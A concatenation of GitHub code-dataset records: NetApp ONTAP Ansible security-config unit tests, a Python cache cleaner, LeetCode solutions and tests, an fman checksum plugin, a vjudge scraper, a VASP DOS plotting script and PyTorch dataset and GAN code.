\"supported_protocols\": ['TLSv1.2', 'TLSv1.1']\n    }\n    error = call_main(my_main, DEFAULT_ARGS, module_args, fail=True)['msg']\n    msg = \"Error getting security config for interface\"\n    assert msg in error\n\n\ndef test_get_security_config_info():\n    register_responses([\n        ('security-config-get', ZRR['security_config_info'])\n    ])\n    security_obj = create_module(security_config_module, DEFAULT_ARGS)\n    result = security_obj.get_security_config()\n    assert result\n\n\ndef test_modify_security_config_fips():\n    register_responses([\n        ('ZAPI', 'security-config-get', ZRR['security_config_info']),\n        ('ZAPI', 'security-config-modify', ZRR['success'])\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.3', 'TLSv1.2'],\n    }\n    assert call_main(my_main, DEFAULT_ARGS, module_args)['changed']\n\n\ndef test_error_modify_security_config_fips():\n    register_responses([\n        ('ZAPI', 'security-config-get', ZRR['security_config_info']),\n        ('ZAPI', 'security-config-modify', ZRR['error'])\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.3', 'TLSv1.2'],\n    }\n    error = call_main(my_main, DEFAULT_ARGS, module_args, fail=True)['msg']\n    assert \"Error modifying security config for interface\" in error\n\n\ndef test_error_security_config():\n    register_responses([\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.2', 'TLSv1.1', 'TLSv1'],\n    }\n    error = create_module(security_config_module, DEFAULT_ARGS, module_args, fail=True)['msg']\n    assert 'If fips is enabled then TLSv1 is not a supported protocol' in error\n\n\ndef test_error_security_config_supported_ciphers():\n    register_responses([\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_ciphers\": 'ALL:!LOW:!aNULL:!EXP:!eNULL:!3DES:!DES:!RC4',\n    }\n    error = create_module(security_config_module, DEFAULT_ARGS, module_args, fail=True)['msg']\n    assert 'If fips is enabled then supported ciphers should not be specified' in error\n\n\nARGS_REST = {\n    'hostname': 'test',\n    'username': 'test_user',\n    'password': 'test_pass!',\n    'use_rest': 'always'\n}\n\n\ndef test_rest_error_get():\n    '''Test error rest get'''\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', '/security', SRR['generic_error']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": False,\n        \"supported_protocols\": ['TLSv1.2', 'TLSv1.1']\n    }\n    error = call_main(my_main, ARGS_REST, module_args, fail=True)['msg']\n    assert \"Error on getting security config: calling: /security: got Expected error.\" in error\n\n\ndef test_rest_get_security_config():\n    '''Test error rest get'''\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', '/security', SRR['security_config_record']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": False,\n        \"supported_protocols\": ['TLSv1.2', 'TLSv1.1']\n    }\n    security_obj = create_module(security_config_module, ARGS_REST, module_args)\n    result = security_obj.get_security_config_rest()\n    assert result\n\n\ndef test_rest_modify_security_config():\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', '/security', SRR['security_config_record']),\n        ('PATCH', '/security', SRR['success']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": False,\n        \"supported_protocols\": ['TLSv1.3', 'TLSv1.2', 'TLSv1.1'],\n        \"supported_cipher_suites\": 'TLS_RSA_WITH_AES_128_CCM'\n    }\n    assert call_main(my_main, ARGS_REST, module_args)['changed']\n\n\ndef test_rest_error_security_config():\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.2', 'TLSv1.1', 'TLSv1'],\n        \"supported_cipher_suites\": 'TLS_RSA_WITH_AES_128_CCM'\n    }\n    error = create_module(security_config_module, ARGS_REST, module_args, fail=True)['msg']\n    assert 'If fips is enabled then TLSv1 is not a supported protocol' in error\n\n\ndef test_rest_error_security_config_protocol():\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.2', 'TLSv1.1'],\n        \"supported_cipher_suites\": 'TLS_RSA_WITH_AES_128_CCM'\n    }\n    error = create_module(security_config_module, ARGS_REST, module_args, fail=True)['msg']\n    assert 'If fips is enabled then TLSv1.1 is not a supported protocol' in error\n\n\ndef test_rest_error_modify_security_config():\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', '/security', SRR['security_config_record']),\n        ('PATCH', '/security', SRR['generic_error']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.3', 'TLSv1.2'],\n        \"supported_cipher_suites\": 'TLS_RSA_WITH_AES_128_CCM'\n    }\n    error = call_main(my_main, ARGS_REST, module_args, fail=True)['msg']\n    assert \"Error on modifying security config: calling: /security: got Expected error.\" in error\n\n\ndef test_rest_modify_security_config_fips():\n    register_responses([\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', 'cluster', SRR['is_rest_9_10_1']),\n        ('GET', '/security', SRR['security_config_record']),\n        ('PATCH', '/security', SRR['success']),\n    ])\n    module_args = {\n        \"is_fips_enabled\": True,\n        \"supported_protocols\": ['TLSv1.3', 'TLSv1.2'],\n        \"supported_cipher_suites\": 'TLS_RSA_WITH_AES_128_CCM'\n    }\n    assert call_main(my_main, ARGS_REST, module_args)['changed']\n","repo_name":"ansible-collections/netapp.ontap","sub_path":"tests/unit/plugins/modules/test_na_ontap_security_config.py","file_name":"test_na_ontap_security_config.py","file_ext":"py","file_size_in_byte":8863,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"35"}
{"seq_id":"23278421403","text":"import glob\nimport shutil\nimport os\n\nmy_path = \"C:/Users/AGANDO/PycharmProjects\"\n\ndirs = glob.glob(my_path + '/**/__pycache__', recursive=True)\nfor dir in dirs:\n    shutil.rmtree(dir)\n    print(\"Deleted \" + dir)\n\nfiles = glob.glob(my_path + '/**/*.pyc', recursive=True)\nfor file in files:\n    os.remove(file)\n    print(\"Deleted \" + file)\n","repo_name":"FranzJosephII/IBBF","sub_path":"testing/cleaner.py","file_name":"cleaner.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33037537051","text":"from typing import List\n\nimport pytest\n\nfrom problem_153_findMin import Solution\n\nsolution = Solution()\n\n\n@pytest.mark.parametrize(\n    \"nums, want\",\n    (\n        ([3, 4, 5, 1, 2], 1),\n        ([4, 5, 6, 7, 0, 1, 2], 0),\n        ([11, 13, 15, 17], 11),\n    ),\n)\ndef test_findMin(nums: List[int], want: int):\n    got = solution.findMin(nums)\n    assert got == want\n","repo_name":"albertomurillo/leetcode","sub_path":"python/src/problem_153_findMin_test.py","file_name":"problem_153_findMin_test.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13359538759","text":"from fman import DirectoryPaneCommand, show_alert\nfrom fman.url import as_human_readable, splitscheme\nfrom fman.fs import resolve\nfrom fman.clipboard import set_text\nimport subprocess\n\nclass Sha256Sum(DirectoryPaneCommand):\n    def __call__(self):\n        url = self.pane.get_file_under_cursor() \n        if not url:\n            show_alert( \"Nenhum arquivo pdf selecionado\" )\n            return\n        url = resolve(url)\n        scheme = splitscheme(url)[0]\n        if scheme != 'file://':\n            show_alert( \"Não é possível ler o arquivo %s\" % scheme )\n            return\n        filename = as_human_readable(url)\n        out = subprocess.check_output(['sha256sum', filename ]).decode('utf-8')\n        set_text(out)\n        show_alert(out)\n","repo_name":"geraldolsribeiro/fman_utils","sub_path":"sha256sum/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"14826731918","text":"from torch.utils.data import Dataset\nfrom math_utils.logistic_coefficient_map import logistic_taylor_orbit, rescale, tau_from_last_coef\nimport numpy as np\n\nNUM_COEFFICIENTS = 100\n\nclass AnalyticDataset(Dataset):\n    def __init__(self, N, transform=None) -> None:\n        super().__init__()\n        self.N = N\n        self.transform = transform\n        self.initial_values = np.random.uniform(low=-1, high=1, size=N)\n        self.taus = np.ones_like(self.initial_values)\n    \n    def __len__(self):\n        return self.N\n\n    def __getitem__(self, index):\n        iv = np.array([self.initial_values[index]])\n        tau = self.taus[index]\n        coefficients = logistic_taylor_orbit(self.initial_values[index], NUM_COEFFICIENTS, tau=tau)\n        if tau == 1:\n            tau = tau_from_last_coef(coefficients)\n            coefficients = rescale(coefficients, tau)\n            self.taus[index] = tau\n        \n        if self.transform is not None:\n            iv = self.transform(iv)\n            coefficients = self.transform(coefficients)\n        return iv, coefficients\n","repo_name":"skepley/shadow","sub_path":"data/analytic_dataset.py","file_name":"analytic_dataset.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22068244200","text":"\"\"\"\nGiven n non-negative integers a1, a2, ..., an , \nwhere each represents a point at coordinate (i, ai). n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). Find two lines, which together with x-axis forms a container, \nsuch that the container contains the most water.\n\"\"\"\n\n\"\"\"\n符合直觉的解法是，我们可以对两两进行求解，计算可以承载的水量。 然后不断更新最大值，\n最后返回最大值即可。 这种解法，需要两层循环，时间复杂度是O(n^2)\n\"\"\"\nclass Solution:\n    def maxArea(self,height):\n        max_area = area = 0\n        left, right = 0,len(height) -1\n        while left < right:\n            l,r = height[left],height[right]\n            if l < r:\n                area = (right -left) * l\n                while height[left] <= l:\n                    left +=1\n            else:\n                area = (right- left) * r\n                while height[right] <= r and right:\n                    right -= 1\n            if area > max_area:\n                max_area = area\n        return max_area\n","repo_name":"Nobodylesszb/LeetCode","sub_path":"python/array/11.container-with-most-water.py","file_name":"11.container-with-most-water.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71825079461","text":"from bs4 import BeautifulSoup\r\nimport requests\r\ndef get_soup(username):\r\n    url = \"https://cn.vjudge.net/user/\" + username\r\n    try:\r\n        html = requests.get(url)\r\n    except:\r\n        print(url)\r\n        return False\t\r\n    print(html)\r\n    txt = html.text\r\n    soup = BeautifulSoup(txt, 'lxml')\r\n    return soup\r\n# def username_exist(username):\r\n#     soup = get_soup(username)\r\n#     t = soup.find_all('h1')\r\n#     if len(t) > 0 or t[0].text == '卧槽 ??':\r\n#         return False\r\n#     return True\r\ndef new_user(user):\r\n    import db\r\n    user = dict(user)\r\n    db.new_user(user)\r\n    return True\r\ndef query(username):\r\n    soup = get_soup(username)\r\n    if not soup:\r\n        return False\r\n    t = soup.find_all('a')\r\n    ans = list()\r\n    for e in t:\r\n        c = e.attrs\r\n        try:\r\n            ans.append((e['title'], e.text))\r\n        except:\r\n            pass\r\n    return ans\r\nif __name__ == '__main__':\r\n    query('yyecust')\r\n","repo_name":"beastg/ecust_rank","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2818741512","text":"from lxml import etree\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom cycler import cycler\npd.set_option('display.max_rows', None,\n              'display.max_columns', None,\n              'display.max_colwidth', None,\n              'display.precision', 5)\n\n# Load the XML file\ntree = etree.parse(\"vasprun.xml\")\n\n# Get the root element\nroot = tree.getroot()\n\n#Listing the atoms and creating list of lists with the species and number of atoms per species\n# Find the array element with a name attribute of \"atoms\"\natoms_array = root.find(\".//array[@name='atoms']\")\n\n# Get the set element\natoms_set = atoms_array.find(\"set\")\n\n# Loop over the rc elements and extract the data\nlist_atoms_raw = []\nfor rc in atoms_set.findall(\"rc\"):\n    element = rc.find(\"c[1]\").text.strip()\n    atomtype = int(rc.find(\"c[2]\").text.strip())\n    list_atoms_raw.append([element, atomtype])\n\n# Group the atoms by species and count the number of atoms per species\nspecies_counts = {}\nfor element, atomtype in list_atoms_raw:\n    if element not in species_counts:\n        species_counts[element] = 0\n    species_counts[element] += 1\n\n# Create a list of lists with the species and number of atoms per species\nspecies_list = [[element, count] for element, count in species_counts.items()]\n\n# Print the species list\nprint(species_list)\n\n#Obtain the NEDOS value \n# Find the NEDOS tag\nnedos_tag = tree.xpath('//i[@name=\"NEDOS\"]')\n\n# extract the NEDOS value\nnedos_value = int(nedos_tag[0].text)\n\nprint(\"NEDOS= \",nedos_value)\n\n#Is the system spin-polarized?\n# Find the ISPIN tag\nispin_tag = tree.xpath('//i[@name=\"ISPIN\"]')\n\n# extract the ISPIN value\nispin = int(ispin_tag[0].text)\n\nif ispin == 1:\n    print(\"Non-spin polarized\")\nif ispin == 2:\n    print(\"Spin polarized\")\n\n#Obtaining the Fermi Energy\n# Find the efermi tag\nefermi_tag = tree.xpath('//i[@name=\"efermi\"]')\n\n# extract the Efermi value\nefermi = float(efermi_tag[0].text)\nprint(\"Fermi Energy: \", efermi, \" eV\")\n\n#Finding the total DOS of the system\nif ispin == 1:\n        #Finding the total UP and DOWN DOS\n        dos_total_tag = tree.xpath('//dos/total/array/set/set[@comment=\"spin 1\"]')\n\n        # Find the data element and extract the data\n        data = []\n        for r in dos_total_tag[0].iter('r'):\n            data.append([float(x) for x in r.text.split()])\n\n        # Convert the data into a DataFrame\n        columns = ['Energy / eV', 'UP', 'integrated']\n        df_total = pd.DataFrame(data, columns=columns).set_index('Energy / eV')\n        df_total = df_total.drop('integrated',axis=1)\n\nif ispin == 2:\n    #Finding the total UP and DOWN DOS\n    dos_total_up_tag = tree.xpath('//dos/total/array/set/set[@comment=\"spin 1\"]')\n    dos_total_dn_tag = tree.xpath('//dos/total/array/set/set[@comment=\"spin 2\"]')\n\n    # Find the data element and extract the data\n    data_up = []\n    for r in dos_total_up_tag[0].iter('r'):\n        data_up.append([float(x) for x in r.text.split()])\n    data_dn = []\n    for r in dos_total_dn_tag[0].iter('r'):\n        data_dn.append([float(x) for x in r.text.split()])\n\n    # Convert the data into a DataFrame\n    columns_up = ['Energy / eV', 'UP', 'integrated']\n    columns_dn = ['Energy / eV', 'DOWN', 'integrated']\n    df_total_up = pd.DataFrame(data_up, columns=columns_up).set_index('Energy / eV')\n    df_total_dn = pd.DataFrame(data_dn, columns=columns_dn).set_index('Energy / eV')\n    df_total_up = df_total_up.drop('integrated',axis=1)\n    df_total_dn = df_total_dn.drop('integrated',axis=1)\n    df_total = pd.merge(df_total_up,df_total_dn, on='Energy / eV')\n\n    #Making the down DOS negative for plotting porpouses\n    zero = df_total*0.0\n    df_total[\"DOWN\"] = zero[\"DOWN\"].sub(df_total[\"DOWN\"])\n\n#Refering to the Fermi Energy\ndf_total.index = df_total.index - efermi\n\n#Saving in a new file the Total DOS\nwith open(\"TDOS.txt\", \"w\") as f:\n    string = df_total.to_string(header =True, index=True)\n    f.write(f\"{string}\\n\")\n\n#Finding the projected DOS per ion in the system\n#Creating an empty list of DataFrames to store the UP and DOWN (in case ispin=2) PDOS for each atom\nup_pdos = []\ndn_pdos = []\nfor i in range(1,len(list_atoms_raw)+1):\n    #Find the projected DOS per ion ´at´ in the list_atoms_raw\n    path_up  = '//dos/partial/array/set/set[@comment=\"ion '+str(i)+'\"]/set[@comment=\"spin 1\"]'\n    dos_pdos_up_tag = tree.xpath(path_up)\n\n    # Find the data element and extract the data\n    data = []\n    for r in dos_pdos_up_tag[0].iter('r'):\n        data.append([float(x) for x in r.text.split()])\n    columns = ['Energy / eV','s','py','pz','px','dxy','dyz','dz2','dxz','d(x2-y2)']\n    df_pdos_at_up = pd.DataFrame(data, columns=columns).set_index('Energy / eV')\n    df_pdos_at_up.index = df_pdos_at_up.index - efermi\n    up_pdos.append(df_pdos_at_up)\n\n    if ispin == 2:\n        #DOWN: Find the projected DOS per ion ´at´ in the list_atoms_raw\n        path_dn  = '//dos/partial/array/set/set[@comment=\"ion '+str(i)+'\"]/set[@comment=\"spin 2\"]'\n        dos_pdos_dn_tag = tree.xpath(path_dn)\n\n        # DOWN: Find the data element and extract the data\n        data_dn = []\n        for r in dos_pdos_dn_tag[0].iter('r'):\n            data_dn.append([float(x) for x in r.text.split()])\n        df_pdos_at_dn = pd.DataFrame(data_dn, columns=columns).set_index('Energy / eV')\n        df_pdos_at_dn.index = df_pdos_at_dn.index - efermi\n        #Making the down DOS negative for plotting porpouses\n        zero = df_pdos_at_dn*0.0\n        df_pdos_at_dn = zero.sub(df_pdos_at_dn)\n        dn_pdos.append(df_pdos_at_dn)\n\n#From lm-decomposed to l-decomposed\nup_pdos_l = []\ndn_pdos_l = []\nfor df_lm in up_pdos:\n    df_l = pd.DataFrame({'Energy / eV':[], 's':[],'p':[],'d':[]})\n    df_l['Energy / eV'] = df_pdos_at_up.index\n    df_l = df_l.set_index('Energy / eV')\n    df_l['s'] = df_lm['s']\n    df_l['p'] = df_lm['py'].add(df_lm['pz']).add(df_lm['px'])\n    df_l['d'] = df_lm['dxy'].add(df_lm['dyz']).add(df_lm['dz2']).add(df_lm['dxz']).add(df_lm['d(x2-y2)']) \n    up_pdos_l.append(df_l)\n\nif ispin == 2:\n    for df_lm in dn_pdos:\n        df_l = pd.DataFrame({'Energy / eV':[], 's':[],'p':[],'d':[]})\n        df_l['Energy / eV'] = df_pdos_at_dn.index\n        df_l = df_l.set_index('Energy / eV')\n        df_l['s'] = df_lm['s']\n        df_l['p'] = df_lm['py'].add(df_lm['pz']).add(df_lm['px'])\n        df_l['d'] = df_lm['dxy'].add(df_lm['dyz']).add(df_lm['dz2']).add(df_lm['dxz']).add(df_lm['d(x2-y2)']) \n        dn_pdos_l.append(df_l)\n\n#Saving the l-decomposed PDOS per atom\n#for i in range(1,len(up_pdos_l)+1):\n#    name_file = 'dos'+str(i)+'_l-decomposed.txt'\n#    with open(name_file,\"w\") as f:\n#        for item in up_pdos_l:\n#            string = item.to_string(header =True, index=True)\n#            f.write(f\"{string}\\n\")\n#if ispin == 2:\n#    for i in range(1,len(dn_pdos_l)+1):\n#        name_file = 'dos'+str(i)+'_l-decomposed_down.txt'\n#        with open(name_file, \"w\") as f:\n#            for item in dn_pdos_l:\n#                string = item.to_string(header =True, index=True)\n#                f.write(f\"{string}\\n\")\n\n#Grouping DOS by species\n#Creating a list with DataFrame = 0\ndos_specie_up = []\n\n#Looping over the list of species\nfor i in range(len(species_list)):\n    dos_specie_up.append(up_pdos_l[0]*0)\n\n#Looping over the number of species\nk = 0\nfor i in range(len(species_list)):\n    #Looping over the number of atoms of each specie\n    for j in range(species_list[i][1]):\n        #Adding the DOS to the auxiliar DOS tuple of DataFrame\n        dos_specie_up[i] = dos_specie_up[i].add(up_pdos_l[k])\n        k = k + 1\n\nif ispin == 2:\n    dos_specie_dn = []\n\n    #Looping over the list of species\n    for i in range(len(species_list)):\n        dos_specie_dn.append(dn_pdos_l[0]*0)\n\n    #Looping over the number of species\n    k = 0\n    for i in range(len(species_list)):\n        #Looping over the number of atoms of each specie\n        for j in range(species_list[i][1]):\n            #Adding the DOS to the auxiliar DOS tuple of DataFrame\n            dos_specie_dn[i] = dos_specie_dn[i].add(dn_pdos_l[k])\n            k = k + 1\n\n#Saving PDOS per species in files of UP and DOWN (in case ispin=2)\n#for i in range(len(dos_specie_up)):\n#    name_file = 'dos_'+str(species_list[i][0])+'_l-decomposed.txt'\n#    with open(name_file, \"w\") as f:\n#        for item in dos_specie_up:\n#            string = item.to_string(header =True, index=True)\n#            f.write(f\"{string}\\n\")\n\n#if ispin == 2:\n#    for i in range(len(dos_specie_dn)):\n#        name_file = 'dos_'+str(species_list[i][0])+'_l-decomposed_down.txt'\n#        with open(name_file, \"w\") as f:\n#            for item in dos_specie_dn:\n#                string = item.to_string(header =True, index=True)\n#                f.write(f\"{string}\\n\")\n\n#Plotting Style\nif ispin == 1:\n    custom_cycler= (cycler(color=[\"black\",\"#0099cc\",\"crimson\",\"limegreen\"]) +\n                    #cycler(marker=[\"o\",\"o\",\"o\",\"\",\"\",\"\",\"\",\"\",\"\"]) +\n                    #cycler(markersize=[8,8,8,0,0,0,0,0,0]) +\n                    cycler(linestyle=[\"-\",\"-\",\"-\",\"-\"]) +\n                    cycler(linewidth=[1,1,1,1]))\nif ispin == 2:\n    custom_cycler= (cycler(color=[\"black\",\"black\",\"#0099cc\",\"#0099cc\",\"crimson\",\"crimson\",\"limegreen\",\"limegreen\"]) +\n                    #cycler(marker=[\"o\",\"o\",\"o\",\"\",\"\",\"\",\"\",\"\",\"\"]) +\n                    #cycler(markersize=[8,8,8,0,0,0,0,0,0]) +\n                    cycler(linestyle=[\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\"]) +\n                    cycler(linewidth=[1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0]))\nfont= {\"family\": \"normal\",\n       \"size\"  : 14}\nplt.rc(\"font\",**font)\nplt.rcParams[\"font.family\"]=\"sans-serif\"\nplt.rcParams[\"font.sans-serif\"]=\"Times New Roman\"\nplt.rcParams[\"axes.prop_cycle\"] = custom_cycler\n\n#Plotting\n# Total DOS\nplot = df_total.plot(legend=\"Total DOS\")\nplot.axvline(x=0, color=\"black\", linestyle=\"--\")\n\nplt.xlim(-2,2)\n\n# PDOS\nif ispin == 1:\n    plot1 = dos_specie_up[0][\"d\"].plot(ax=plot,label=\"Ti (d)\")\n    plot1 = dos_specie_up[0][\"p\"].plot(ax=plot,label=\"Ti (p)\")\n    plot1 = dos_specie_up[1][\"p\"].plot(ax=plot,label=\"C (p)\")\n    plt.ylim(0,10)\nif ispin == 2:\n    plot1 = dos_specie_up[0][\"d\"].plot(ax=plot,label=\"Ti (d)\")\n    plot1 = dos_specie_dn[0][\"d\"].plot(ax=plot,legend=None)\n    plot1 = dos_specie_up[0][\"p\"].plot(ax=plot,label=\"Ti (p)\")\n    plot1 = dos_specie_dn[0][\"p\"].plot(ax=plot,legend=None)\n    plot1 = dos_specie_up[1][\"p\"].plot(ax=plot,label=\"C (p)\")\n    plot1 = dos_specie_dn[1][\"p\"].plot(ax=plot,legend=None)\n    plt.ylim(-15,15)\n\n#Legend\nhandles, labels = plot.get_legend_handles_labels()\nif ispin == 1:\n    new_handles = [handles[0],handles[1],handles[2],handles[3]]\n    new_labels = [\"Total DOS\",\"Ti (d)\", \"Ti (p)\", \"C (p)\"]\n    legend = plot.legend(handles=new_handles,labels=new_labels,loc=\"center left\",bbox_to_anchor=[1.01, 0.5],frameon=False)\nif ispin == 2:\n    new_handles = [handles[0],handles[2],handles[4],handles[6]]\n    new_labels = [\"Total DOS\",\"Ti (d)\", \"Ti (p)\", \"C (p)\"]\n    legend = plot.legend(handles=new_handles,labels=new_labels,loc=\"center left\",bbox_to_anchor=[1.01, 0.5],frameon=False)\n#                      handler_map={str: LegendTitle({'fontsize': 28})})\n\nplt.xlabel(\"$\\mathdefault{∆E(E-E_{f}}$) (eV)\")\nplt.ylabel(\"DOS (states/eV)\")\n\n#Saving the plot\nname = \"DOS-Ti3C2-afm1.png\"\nplt.savefig(fname=name,dpi=1000,bbox_inches=\"tight\")\n","repo_name":"NestorGRG/Density-of-States-for-VASP","sub_path":"pydos_vasp.py","file_name":"pydos_vasp.py","file_ext":"py","file_size_in_byte":11259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72161986980","text":"import torch\nfrom torch.autograd import Variable\nimport torch.utils.data as Data\nimport torchvision\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport torch.nn.functional as F\n\n\nIMAGE_NUMBER_IN_ONE_LARGE_IMAGE = 16\nIN_SIZE = 100\nEPOCH = 50\nBATCH_SIZE = 100\nLR_G = 0.0001\nLR_D = 0.0001\nDOWNLOAD_DATA = False\n\n'''\nload the CNN model which already trained in the first\n'''\n\nclass PRE_TRAIN_CNN(torch.nn.Module):\n    def __init__(self):\n        super(PRE_TRAIN_CNN, self).__init__()\n        self.conv1 = torch.nn.Sequential(\n            torch.nn.Conv2d(\n                in_channels=1,\n                out_channels=16,\n                kernel_size=5,\n                stride=1,\n                padding=2,\n            ),\n            torch.nn.ReLU(),\n            torch.nn.MaxPool2d(\n                kernel_size=2\n            )\n        )\n        self.conv2 = torch.nn.Sequential(\n            torch.nn.Conv2d(\n                in_channels=16,\n                out_channels=32,\n                kernel_size=5,\n                stride=1,\n                padding=2,\n            ),\n            torch.nn.ReLU(),\n            torch.nn.MaxPool2d(\n                    kernel_size=2\n            ),\n        )\n        self.out = torch.nn.Linear(\n            in_features=32*7*7,\n            out_features=10\n        )\n\n    def forward(self, x):\n        x = self.conv1(x)\n        x = self.conv2(x)\n        x = x.view(x.size(0), -1)\n        output = self.out(x)\n        return output\n\n\npre_train_cnn = PRE_TRAIN_CNN()\npre_train_cnn.load_state_dict(torch.load('pre_train_net_param.pkl'))\n\n\n'''\ngenerate the initial values for the GAN\n'''\ndef sample_init_value(m, n):\n    return np.random.uniform( -1, 1, size=[m,n] )\n\n\nreal_image_data = torchvision.datasets.MNIST(\n    root='./minst',\n    train=True,\n    download=DOWNLOAD_DATA,\n    transform=torchvision.transforms.ToTensor(),\n)\n\ndata_loader = Data.DataLoader(\n    dataset=real_image_data,\n    batch_size=BATCH_SIZE,\n    shuffle=True,\n)\n\n'''\nplt show\n'''\ndef plot(samples):\n    fig = plt.figure(figsize=(4, 4))\n    gs = gridspec.GridSpec(4, 4)\n    gs.update(wspace=0.05, hspace=0.05)\n\n    for i, sample in enumerate(samples):\n        ax = plt.subplot(gs[i])\n        plt.axis('off')\n        ax.set_xticklabels([])\n        ax.set_yticklabels([])\n        ax.set_aspect('equal')\n        plt.imshow(sample.reshape(28, 28), cmap='Greys_r')\n\n    return fig\n\n'''\nbulid the generator part network\n'''\nG = torch.nn.Sequential(\n    torch.nn.Linear(\n        in_features=IN_SIZE,\n        out_features=128,\n    ),\n    torch.nn.ReLU(),\n    torch.nn.Linear(\n        in_features=128,\n        out_features=784,\n    ),\n)\n\nD = torch.nn.Sequential(\n    torch.nn.Linear(\n        in_features=784,\n        out_features=128,\n    ),\n    torch.nn.ReLU(),\n    torch.nn.Linear(\n        in_features=128,\n        out_features=1,\n    ),\n    torch.nn.Sigmoid(),\n)\n\n'''\nclass G(torch.nn.Module):\n    def __init__(self):\n        super(G,self).__init__()\n        self.Lin1 = torch.nn.Linear(\n            in_features=IN_SIZE,\n            out_features=128,\n        )\n        self.Lin2 = torch.nn.Linear(\n            in_features=128,\n            out_features=784,\n        )\n    def forward(self,x):\n        x = F.relu(self.Lin1(x))\n        out = self.Lin2(x)\n\n        return out\n\nclass D(torch.nn.Module):\n    def __init__(self):\n        super(D,self).__init__()\n        self.Lin1 = torch.nn.Linear(\n            in_features=784,\n            out_features=128,\n        )\n        self.Lin2 = torch.nn.Linear(\n            in_features=128,\n            out_features=1,\n        )\n    def forward(self,x):\n        x = F.relu(self.Lin1(x))\n        out1 = self.Lin2(x)\n        out2 = torch.nn.Sigmoid(out1)\n        return out1, out2\n\ng = G()\nd = D()\n'''\n\n\n\n\n\n'''\ndefine  optimizer\n'''\noptimizer_G = torch.optim.Adam(G.parameters(),lr=LR_G)\noptimizer_D = torch.optim.Adam(D.parameters(),lr=LR_D)\n\n'''\nsave fig directory\n'''\nif not os.path.exists('./out/'):\n    os.makedirs('./out/')\n\ni = 0\n\n'''\nbegin to training\n'''\nfor epoch in range(EPOCH):\n    for step, (x, y) in enumerate(data_loader):\n\n        D_real_x = Variable(x.view(-1,28*28))\n        D_real_y = Variable(y)\n\n        initial_data = Variable(torch.randn(BATCH_SIZE,IN_SIZE))\n\n        if step % 100 == 0:\n            this_sample = G(initial_data)\n\n            plt.imshow(this_sample.view(-1,28,28)[0].data.numpy(), cmap='gray')\n            plt.savefig('out/{}.png'.format(str(i).zfill(3)),bbox_inches='tight')\n            i += 1\n            # print this_sample.size()\n            # fig = plot(this_sample.view(-1,28,28).size(0))\n            # plt.savefig('out/{}.png'.format(str(i).zfill(3)),bbox_inches='tight')\n            # i+=1\n            # plt.close(fig)\n\n        G_sample = G(initial_data)\n        D_fake = D(G_sample)\n        D_real = D(D_real_x)\n\n        loss_D = -torch.mean( torch.log(D_real) + torch.log( 1. - D_fake ) )\n        loss_G = -torch.mean( torch.log(  D_fake ) )\n\n        optimizer_D.zero_grad()\n        loss_D.backward(retain_variables=True)\n        optimizer_D.step()\n\n        optimizer_G.zero_grad()\n        loss_G.backward()\n        optimizer_G.step()\n\n        if step % 100 == 0:\n            print('Epoch: ', epoch, '| loss_D loss: %.4f' % loss_D.data[0],'| loss_G loss: %.4f' % loss_G.data[0])","repo_name":"czheng17/GAN_models","sub_path":"CNN_GAN.py","file_name":"CNN_GAN.py","file_ext":"py","file_size_in_byte":5307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
